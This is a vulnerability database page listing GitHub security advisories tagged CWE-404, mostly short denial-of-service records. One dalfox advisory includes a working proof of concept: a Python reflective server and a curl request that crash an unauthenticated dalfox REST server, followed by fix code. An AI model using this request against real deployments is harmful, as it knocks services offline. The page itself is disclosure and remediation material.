CWE-404
Allowed-with-ReviewImproper Resource Shutdown or Release
Abstraction: Class · Status: Draft
The product does not release or incorrectly releases a resource before it is made available for re-use.
1347 vulnerabilities reference this CWE, most recent first.
GHSA-2678-G677-R4GX
Vulnerability from github – Published: 2026-03-28 00:31 – Updated: 2026-03-28 00:31A security flaw has been discovered in Open5GS 2.7.6. This issue affects the function smf_gx_cca_cb/smf_gy_cca_cb/smf_s6b of the component CCA Message Handler. The manipulation results in denial of service. The attack may be launched remotely. Attacks of this nature are highly complex. The exploitability is assessed as difficult. The exploit has been released to the public and may be used for attacks.
{
"affected": [],
"aliases": [
"CVE-2026-4988"
],
"database_specific": {
"cwe_ids": [
"CWE-404"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-27T22:16:23Z",
"severity": "MODERATE"
},
"details": "A security flaw has been discovered in Open5GS 2.7.6. This issue affects the function smf_gx_cca_cb/smf_gy_cca_cb/smf_s6b of the component CCA Message Handler. The manipulation results in denial of service. The attack may be launched remotely. Attacks of this nature are highly complex. The exploitability is assessed as difficult. The exploit has been released to the public and may be used for attacks.",
"id": "GHSA-2678-g677-r4gx",
"modified": "2026-03-28T00:31:16Z",
"published": "2026-03-28T00:31:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4988"
},
{
"type": "WEB",
"url": "https://github.com/open5gs/open5gs/issues/4342"
},
{
"type": "WEB",
"url": "https://github.com/open5gs/open5gs/issues/4342#issue-4021772232"
},
{
"type": "WEB",
"url": "https://github.com/open5gs/open5gs"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.353875"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.353875"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.771349"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-2794-C693-53GF
Vulnerability from github – Published: 2024-12-16 18:31 – Updated: 2024-12-16 18:31A vulnerability classified as problematic has been found in FabulaTech USB over Network 6.0.6.1. Affected is the function 0x22040C in the library ftusbbus2.sys of the component IOCT Handler. The manipulation leads to null pointer dereference. Local access is required to approach this attack. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2024-12653"
],
"database_specific": {
"cwe_ids": [
"CWE-404",
"CWE-476"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-16T16:15:06Z",
"severity": "MODERATE"
},
"details": "A vulnerability classified as problematic has been found in FabulaTech USB over Network 6.0.6.1. Affected is the function 0x22040C in the library ftusbbus2.sys of the component IOCT Handler. The manipulation leads to null pointer dereference. Local access is required to approach this attack. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-2794-c693-53gf",
"modified": "2024-12-16T18:31:09Z",
"published": "2024-12-16T18:31:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12653"
},
{
"type": "WEB",
"url": "https://shareforall.notion.site/FabulaTech-USB-over-Network-Client-ftusbbus2-0x22040C-NPD-DOS-15160437bb1e80228995f9a74a5c233c?pvs=4"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.288522"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.288522"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.456026"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-27FQ-8XXM-GQGW
Vulnerability from github – Published: 2026-01-17 18:30 – Updated: 2026-02-23 09:31A security flaw has been discovered in Open5GS up to 2.7.5. This issue affects some unknown processing of the component Timer Handler. The manipulation results in resource consumption. The attack may be performed from remote. The exploit has been released to the public and may be used for attacks. The patch is identified as c7c131f8d2cb1195ada5e0e691b6868ebcd8a845. It is best practice to apply a patch to resolve this issue.
{
"affected": [],
"aliases": [
"CVE-2025-15532"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-404"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-17T17:15:47Z",
"severity": "MODERATE"
},
"details": "A security flaw has been discovered in Open5GS up to 2.7.5. This issue affects some unknown processing of the component Timer Handler. The manipulation results in resource consumption. The attack may be performed from remote. The exploit has been released to the public and may be used for attacks. The patch is identified as c7c131f8d2cb1195ada5e0e691b6868ebcd8a845. It is best practice to apply a patch to resolve this issue.",
"id": "GHSA-27fq-8xxm-gqgw",
"modified": "2026-02-23T09:31:20Z",
"published": "2026-01-17T18:30:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-15532"
},
{
"type": "WEB",
"url": "https://github.com/open5gs/open5gs/issues/4220"
},
{
"type": "WEB",
"url": "https://github.com/open5gs/open5gs/issues/4220#issue-3766066853"
},
{
"type": "WEB",
"url": "https://github.com/open5gs/open5gs/issues/4221"
},
{
"type": "WEB",
"url": "https://github.com/open5gs/open5gs/commit/c7c131f8d2cb1195ada5e0e691b6868ebcd8a845"
},
{
"type": "WEB",
"url": "https://github.com/open5gs/open5gs"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.341599"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.341599"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.729354"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.729357"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.735340"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.735341"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.735342"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-286X-7QF6-X2H4
Vulnerability from github – Published: 2026-05-01 03:31 – Updated: 2026-05-01 03:31A vulnerability was determined in Open5GS up to 2.7.7. This vulnerability affects the function bsf_sess_add_by_ip_address of the file /nbsf-management/v1/pcfBindings of the component BSF. Executing a manipulation of the argument ipv4Addr can lead to denial of service. The attack can be launched remotely. The exploit has been publicly disclosed and may be utilized. The project was informed of the problem early through an issue report but has not responded yet.
{
"affected": [],
"aliases": [
"CVE-2026-7536"
],
"database_specific": {
"cwe_ids": [
"CWE-404"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-01T02:16:04Z",
"severity": "MODERATE"
},
"details": "A vulnerability was determined in Open5GS up to 2.7.7. This vulnerability affects the function bsf_sess_add_by_ip_address of the file /nbsf-management/v1/pcfBindings of the component BSF. Executing a manipulation of the argument ipv4Addr can lead to denial of service. The attack can be launched remotely. The exploit has been publicly disclosed and may be utilized. The project was informed of the problem early through an issue report but has not responded yet.",
"id": "GHSA-286x-7qf6-x2h4",
"modified": "2026-05-01T03:31:24Z",
"published": "2026-05-01T03:31:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-7536"
},
{
"type": "WEB",
"url": "https://github.com/open5gs/open5gs/issues/4400"
},
{
"type": "WEB",
"url": "https://github.com/open5gs/open5gs"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/804292"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/360353"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/360353/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-296W-48HC-3XVF
Vulnerability from github – Published: 2026-05-12 03:31 – Updated: 2026-05-12 03:31SAP Financial Consolidation allows an authenticated attacker to disconnect other users by terminating their sessions temporarily preventing access. However, the application itself cannot be compromised resulting in a low impact on availability. There is no impact on confidentiality and integrity of the data
{
"affected": [],
"aliases": [
"CVE-2026-40136"
],
"database_specific": {
"cwe_ids": [
"CWE-404"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-12T03:16:12Z",
"severity": "MODERATE"
},
"details": "SAP Financial Consolidation allows an authenticated attacker to disconnect other users by terminating their sessions temporarily preventing access. However, the application itself cannot be compromised resulting in a low impact on availability. There is no impact on confidentiality and integrity of the data",
"id": "GHSA-296w-48hc-3xvf",
"modified": "2026-05-12T03:31:27Z",
"published": "2026-05-12T03:31:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40136"
},
{
"type": "WEB",
"url": "https://me.sap.com/notes/3713521"
},
{
"type": "WEB",
"url": "https://url.sap/sapsecuritypatchday"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-29JX-3Q54-P8GQ
Vulnerability from github – Published: 2026-01-17 00:30 – Updated: 2026-02-23 09:31A vulnerability has been found in Open5GS up to 2.7.6. Affected by this vulnerability is an unknown functionality of the component GTPv2 Bearer Response Handler. Such manipulation leads to denial of service. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The name of the patch is 98f76e98df35cd6a35e868aa62715db7f8141ac1. A patch should be applied to remediate this issue.
{
"affected": [],
"aliases": [
"CVE-2025-15528"
],
"database_specific": {
"cwe_ids": [
"CWE-404"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-16T22:16:18Z",
"severity": "MODERATE"
},
"details": "A vulnerability has been found in Open5GS up to 2.7.6. Affected by this vulnerability is an unknown functionality of the component GTPv2 Bearer Response Handler. Such manipulation leads to denial of service. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The name of the patch is 98f76e98df35cd6a35e868aa62715db7f8141ac1. A patch should be applied to remediate this issue.",
"id": "GHSA-29jx-3q54-p8gq",
"modified": "2026-02-23T09:31:20Z",
"published": "2026-01-17T00:30:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-15528"
},
{
"type": "WEB",
"url": "https://github.com/open5gs/open5gs/issues/4225"
},
{
"type": "WEB",
"url": "https://github.com/open5gs/open5gs/issues/4225#issue-3769531006"
},
{
"type": "WEB",
"url": "https://github.com/open5gs/open5gs/commit/98f76e98df35cd6a35e868aa62715db7f8141ac1"
},
{
"type": "WEB",
"url": "https://github.com/open5gs/open5gs"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.341595"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.341595"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.728128"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.729359"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.729360"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.738373"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-2C63-FQW2-3FHM
Vulnerability from github – Published: 2023-11-01 18:30 – Updated: 2023-11-01 18:30A vulnerability in the AnyConnect SSL VPN feature of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to cause a denial of service (DoS) condition on an affected device. This vulnerability is due to an implementation error within the SSL/TLS session handling process that can prevent the release of a session handler under specific conditions. An attacker could exploit this vulnerability by sending crafted SSL/TLS traffic to an affected device, increasing the probability of session handler leaks. A successful exploit could allow the attacker to eventually deplete the available session handler pool, preventing new sessions from being established and causing a DoS condition.
{
"affected": [],
"aliases": [
"CVE-2023-20042"
],
"database_specific": {
"cwe_ids": [
"CWE-404"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-11-01T18:15:08Z",
"severity": "MODERATE"
},
"details": "A vulnerability in the AnyConnect SSL VPN feature of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to cause a denial of service (DoS) condition on an affected device. This vulnerability is due to an implementation error within the SSL/TLS session handling process that can prevent the release of a session handler under specific conditions. An attacker could exploit this vulnerability by sending crafted SSL/TLS traffic to an affected device, increasing the probability of session handler leaks. A successful exploit could allow the attacker to eventually deplete the available session handler pool, preventing new sessions from being established and causing a DoS condition.",
"id": "GHSA-2c63-fqw2-3fhm",
"modified": "2023-11-01T18:30:33Z",
"published": "2023-11-01T18:30:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-20042"
},
{
"type": "WEB",
"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-ssl-dos-kxG8mpUA"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2C6V-V6M8-9JVH
Vulnerability from github – Published: 2025-09-15 21:30 – Updated: 2025-09-15 21:30A weakness has been identified in SpyShelter up to 15.4.0.1015. Affected is an unknown function in the library SpyShelter.sys of the component IOCTL Handler. This manipulation causes denial of service. The attack needs to be launched locally. The exploit has been made available to the public and could be exploited. Upgrading to version 15.4.0.1028 is able to address this issue. It is advisable to upgrade the affected component.
{
"affected": [],
"aliases": [
"CVE-2025-10475"
],
"database_specific": {
"cwe_ids": [
"CWE-404"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-15T20:15:36Z",
"severity": "MODERATE"
},
"details": "A weakness has been identified in SpyShelter up to 15.4.0.1015. Affected is an unknown function in the library SpyShelter.sys of the component IOCTL Handler. This manipulation causes denial of service. The attack needs to be launched locally. The exploit has been made available to the public and could be exploited. Upgrading to version 15.4.0.1028 is able to address this issue. It is advisable to upgrade the affected component.",
"id": "GHSA-2c6v-v6m8-9jvh",
"modified": "2025-09-15T21:30:56Z",
"published": "2025-09-15T21:30:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-10475"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.323906"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.323906"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.648484"
},
{
"type": "WEB",
"url": "https://www.spyshelter.com/help/SpyShelter-Changelog#15401028-3sep2025"
},
{
"type": "WEB",
"url": "https://www.yuque.com/u28538081/sea4q5/aokhgdfpf5ueguk5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-2G47-MCGR-6CX7
Vulnerability from github – Published: 2022-05-13 01:53 – Updated: 2022-05-13 01:53An elevation of privilege vulnerability exists when the DirectX Graphics Kernel (DXGKRNL) driver improperly handles objects in memory, aka "DirectX Graphics Kernel Elevation of Privilege Vulnerability." This affects Windows Server 2016, Windows 10, Windows 10 Servers.
{
"affected": [],
"aliases": [
"CVE-2018-8165"
],
"database_specific": {
"cwe_ids": [
"CWE-404"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-05-09T19:29:00Z",
"severity": "HIGH"
},
"details": "An elevation of privilege vulnerability exists when the DirectX Graphics Kernel (DXGKRNL) driver improperly handles objects in memory, aka \"DirectX Graphics Kernel Elevation of Privilege Vulnerability.\" This affects Windows Server 2016, Windows 10, Windows 10 Servers.",
"id": "GHSA-2g47-mcgr-6cx7",
"modified": "2022-05-13T01:53:32Z",
"published": "2022-05-13T01:53:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-8165"
},
{
"type": "WEB",
"url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8165"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/104038"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2G4X-FQ3J-CGQ4
Vulnerability from github – Published: 2026-05-12 15:08 – Updated: 2026-06-08 20:12Summary
ParameterAnalysis in pkg/scanning/parameterAnalysis.go runs two sequential worker stages that both write to the same results channel. The channel is correctly closed after the first stage completes (close(results) at line 438), but the second stage — which processes POST-body parameters (dp) — is then launched with the same already-closed channel as its output. When a scanned parameter is reflected, processParams executes results <- paramResult on the closed channel, triggering a Go runtime panic that crashes the entire dalfox process. In server mode, the crash is remotely triggerable by any unauthenticated caller who can reach the REST API, because the default configuration has no API key and the second stage activates whenever options.Data != "" (i.e., the attacker supplies the data field) and the target reflects at least one parameter.
Severity
High (CVSS 3.1: 7.5)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Attack Vector: Network — server binds to
0.0.0.0:6664by default; reachable by any network peer. - Attack Complexity: Low — the attacker controls both trigger conditions: the
datafield that populates the second stage's work queue, and the target URL they point at a reflective server they control. - Privileges Required: None —
--api-keydefaults to"", so no auth middleware is registered. - User Interaction: None.
- Scope: Unchanged — a goroutine panic without a
recoverterminates the entire Go process; the impact stays within the dalfox process authority. - Confidentiality Impact: None.
- Integrity Impact: None.
- Availability Impact: High — the entire dalfox server process crashes, requiring manual restart. A single well-timed request is sufficient.
Note on PR #917: Commit 8a424d1 (fix: resolve data race and nil pointer panic in processParams) fixed two concurrent-safety bugs in processParams — a data race on paramResult.Chars and a nil pointer dereference on resp.Header. It did not fix the closed-channel panic reported here, which is a structural ordering bug in ParameterAnalysis itself, not inside processParams.
Affected Component
pkg/scanning/parameterAnalysis.go—ParameterAnalysis()(lines 436–448):resultschannel closed at line 438, then passed to second-stageprocessParamsworkers at line 445pkg/scanning/parameterAnalysis.go—processParams()(line 299):results <- paramResultpanics whenresultsis closed
CWE
- CWE-362: Concurrent Execution Using Shared Resource with Improper Synchronization ('Race Condition') — channel lifecycle ordering error
- CWE-404: Improper Resource Shutdown or Release
Description
Two-Stage Channel Lifecycle Ordering Error
ParameterAnalysis allocates a single results channel shared by both worker stages:
// pkg/scanning/parameterAnalysis.go:397-408
paramsQue := make(chan string, concurrency)
results := make(chan model.ParamResult, concurrency) // ← single channel for both stages
go func() {
for result := range results { // consumer exits when results is closed
mutex.Lock()
params[result.Name] = result
mutex.Unlock()
}
}()
First stage (URL parameters in p):
// lines 410-437
for i := 0; i < concurrency; i++ {
wgg.Add(1)
go func() {
processParams(target, paramsQue, results, options, rl, miningCheckerLine, pLog)
wgg.Done()
}()
}
// ... feed paramsQue ...
close(paramsQue)
wgg.Wait()
close(results) // ← line 438: results is now closed; consumer goroutine exits
Second stage (POST-body parameters in dp):
// lines 440-448
var wggg sync.WaitGroup
paramsDataQue := make(chan string, concurrency)
for j := 0; j < concurrency; j++ {
wggg.Add(1)
go func() {
processParams(target, paramsDataQue, results, options, rl, miningCheckerLine, pLog)
// ^^^^^^^ — same closed channel
wggg.Done()
}()
}
When a second-stage worker finds a reflected parameter, processParams sends to the closed channel:
// pkg/scanning/parameterAnalysis.go:299
results <- paramResult // panic: send on closed channel
A Go runtime panic in a goroutine without a recover terminates the entire program. In server mode, this kills the dalfox API server process.
Trigger Conditions Are Both Attacker-Controlled
Condition 1 — dp is non-empty: dp (the POST-body parameter map) is populated in addParamsFromWordlist → setP whenever options.Data != "":
// parameterAnalysis.go:41-45
if options.Data != "" {
if dp.Get(name) == "" {
dp.Set(name, "")
}
}
The attacker sets "data": "q=test" in the JSON body, which propagates through Initialize (lib/func.go:106). With "mining-dict": true, the entire GF-XSS wordlist (hundreds of parameters) flows into dp, ensuring the second stage has ample work.
Condition 2 — a parameter is reflected: processParams sends to results only when vrs (verified reflection) is true (line 252 → line 299). The attacker controls the target URL — they point it at a server they operate that reflects any query parameter, guaranteeing vrs = true on the first matching entry from the wordlist.
PR #917 Fixed Different Bugs
Commit 8a424d1 addressed:
1. Data race: concurrent append(paramResult.Chars, char) with no mutex → added charsMu sync.Mutex
2. Nil pointer: resp.Header accessed when resp == nil → added && resp != nil guard
Neither change touches the channel lifecycle in ParameterAnalysis. The closed-channel panic is independent and remains unpatched.
Proof of Concept
# Step 1 — Attacker-controlled reflective server
python3 - <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import urlparse, parse_qs
class H(BaseHTTPRequestHandler):
def _h(self):
qs = parse_qs(urlparse(self.path).query)
n = int(self.headers.get('Content-Length', '0'))
body = self.rfile.read(n).decode() if n else ''
bq = parse_qs(body)
v = qs.get('q', [''])[0] or bq.get('q', [''])[0]
out = f'<html><body>{v}</body></html>'.encode()
self.send_response(200)
self.send_header('Content-Type', 'text/html')
self.send_header('Content-Length', str(len(out)))
self.end_headers()
self.wfile.write(out)
def do_GET(self): self._h()
def do_POST(self): self._h()
def log_message(self, *a): pass
HTTPServer(('127.0.0.1', 18083), H).serve_forever()
PY
# Step 2 — Start dalfox REST server (default: no API key)
go run . server --host 127.0.0.1 --port 16664 --type rest
# Step 3 — Single unauthenticated request terminates the server process
curl -s -X POST http://127.0.0.1:16664/scan \
-H 'Content-Type: application/json' \
--data '{
"url": "http://127.0.0.1:18083/?q=test",
"options": {
"data": "q=test",
"mining-dict": true,
"use-headless": false,
"worker": 1
}
}'
# Expected: dalfox process exits immediately with:
# goroutine N [running]:
# panic: send on closed channel
# pkg/scanning/parameterAnalysis.go:299 +0x...
# Step 4 — Verify server is down
curl -s http://127.0.0.1:16664/health
# Expected: connection refused
No X-API-KEY header is required. The reflective server is attacker-controlled and guarantees the vrs = true condition that triggers the channel write.
Impact
- Complete server process crash on a single unauthenticated POST request — no login, no API key, no special permissions required.
- All in-flight scans are lost without results.
- The server requires a manual restart; under automated process managers (systemd, Docker
--restart=always) repeated triggering can create a denial-of-service loop. - The attack requires only network access to port 6664 and a reflective HTTP server reachable by the dalfox instance — both attacker-controlled conditions.
Recommended Remediation
Option 1: Allocate a fresh results channel for the second stage (preferred)
The simplest and most direct fix: give each stage its own channel and consumer. The second stage should not reuse a channel that was created and closed for the first stage.
// pkg/scanning/parameterAnalysis.go — replace the second stage block:
var wggg sync.WaitGroup
paramsDataQue := make(chan string, concurrency)
results2 := make(chan model.ParamResult, concurrency) // fresh channel
go func() {
for result := range results2 {
mutex.Lock()
params[result.Name] = result
mutex.Unlock()
}
}()
for j := 0; j < concurrency; j++ {
wggg.Add(1)
go func() {
processParams(target, paramsDataQue, results2, options, rl, miningCheckerLine, pLog)
wggg.Done()
}()
}
// ... feed paramsDataQue ...
close(paramsDataQue)
wggg.Wait()
close(results2) // close after all writers are done
Option 2: Merge both parameter maps before the single worker stage
Process p and dp entries through a single shared paramsQue and results, eliminating the two-stage design:
// Before the worker loop, merge dp into p (or into a unified queue):
for k := range dp {
// feed to the same paramsQue along with p entries
}
// Then run a single close(paramsQue) → wgg.Wait() → close(results)
This is a more invasive refactor but removes the structural root cause. The current two-stage design is the fundamental source of the ordering bug.
Option 3: Add a recover in processParams goroutines (stopgap only)
Catching the panic prevents the process from crashing but does not fix the lost results or the channel invariant violation. Recommended only as a temporary defensive measure while the channel lifecycle is corrected:
go func() {
defer func() {
if r := recover(); r != nil {
printing.DalLog("ERROR", fmt.Sprintf("processParams panic recovered: %v", r), options)
}
wggg.Done()
}()
processParams(target, paramsDataQue, results, options, rl, miningCheckerLine, pLog)
}()
Option 1 is the recommended primary fix. Option 3 should be combined with Option 1, not used as a substitute.
Credit
This vulnerability was discovered and reported by bugbunny.ai.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.12.0"
},
"package": {
"ecosystem": "Go",
"name": "github.com/hahwul/dalfox/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.13.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/hahwul/dalfox"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.2.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45090"
],
"database_specific": {
"cwe_ids": [
"CWE-362",
"CWE-404"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-12T15:08:40Z",
"nvd_published_at": "2026-05-27T18:16:25Z",
"severity": "HIGH"
},
"details": "## Summary\n\n`ParameterAnalysis` in `pkg/scanning/parameterAnalysis.go` runs two sequential worker stages that both write to the same `results` channel. The channel is correctly closed after the first stage completes (`close(results)` at line 438), but the second stage \u2014 which processes POST-body parameters (`dp`) \u2014 is then launched with the same already-closed channel as its output. When a scanned parameter is reflected, `processParams` executes `results \u003c- paramResult` on the closed channel, triggering a Go runtime panic that crashes the entire dalfox process. In server mode, the crash is remotely triggerable by any unauthenticated caller who can reach the REST API, because the default configuration has no API key and the second stage activates whenever `options.Data != \"\"` (i.e., the attacker supplies the `data` field) and the target reflects at least one parameter.\n\n## Severity\n\n**High** (CVSS 3.1: 7.5)\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`\n\n- **Attack Vector:** Network \u2014 server binds to `0.0.0.0:6664` by default; reachable by any network peer.\n- **Attack Complexity:** Low \u2014 the attacker controls both trigger conditions: the `data` field that populates the second stage\u0027s work queue, and the target URL they point at a reflective server they control.\n- **Privileges Required:** None \u2014 `--api-key` defaults to `\"\"`, so no auth middleware is registered.\n- **User Interaction:** None.\n- **Scope:** Unchanged \u2014 a goroutine panic without a `recover` terminates the entire Go process; the impact stays within the dalfox process authority.\n- **Confidentiality Impact:** None.\n- **Integrity Impact:** None.\n- **Availability Impact:** High \u2014 the entire dalfox server process crashes, requiring manual restart. A single well-timed request is sufficient.\n\n**Note on PR #917**: Commit `8a424d1` (`fix: resolve data race and nil pointer panic in processParams`) fixed two concurrent-safety bugs in `processParams` \u2014 a data race on `paramResult.Chars` and a nil pointer dereference on `resp.Header`. It did **not** fix the closed-channel panic reported here, which is a structural ordering bug in `ParameterAnalysis` itself, not inside `processParams`.\n\n## Affected Component\n\n- `pkg/scanning/parameterAnalysis.go` \u2014 `ParameterAnalysis()` (lines 436\u2013448): `results` channel closed at line 438, then passed to second-stage `processParams` workers at line 445\n- `pkg/scanning/parameterAnalysis.go` \u2014 `processParams()` (line 299): `results \u003c- paramResult` panics when `results` is closed\n\n## CWE\n\n- **CWE-362**: Concurrent Execution Using Shared Resource with Improper Synchronization (\u0027Race Condition\u0027) \u2014 channel lifecycle ordering error\n- **CWE-404**: Improper Resource Shutdown or Release\n\n## Description\n\n### Two-Stage Channel Lifecycle Ordering Error\n\n`ParameterAnalysis` allocates a single `results` channel shared by both worker stages:\n\n```go\n// pkg/scanning/parameterAnalysis.go:397-408\nparamsQue := make(chan string, concurrency)\nresults := make(chan model.ParamResult, concurrency) // \u2190 single channel for both stages\n\ngo func() {\n for result := range results { // consumer exits when results is closed\n mutex.Lock()\n params[result.Name] = result\n mutex.Unlock()\n }\n}()\n```\n\n**First stage** (URL parameters in `p`):\n\n```go\n// lines 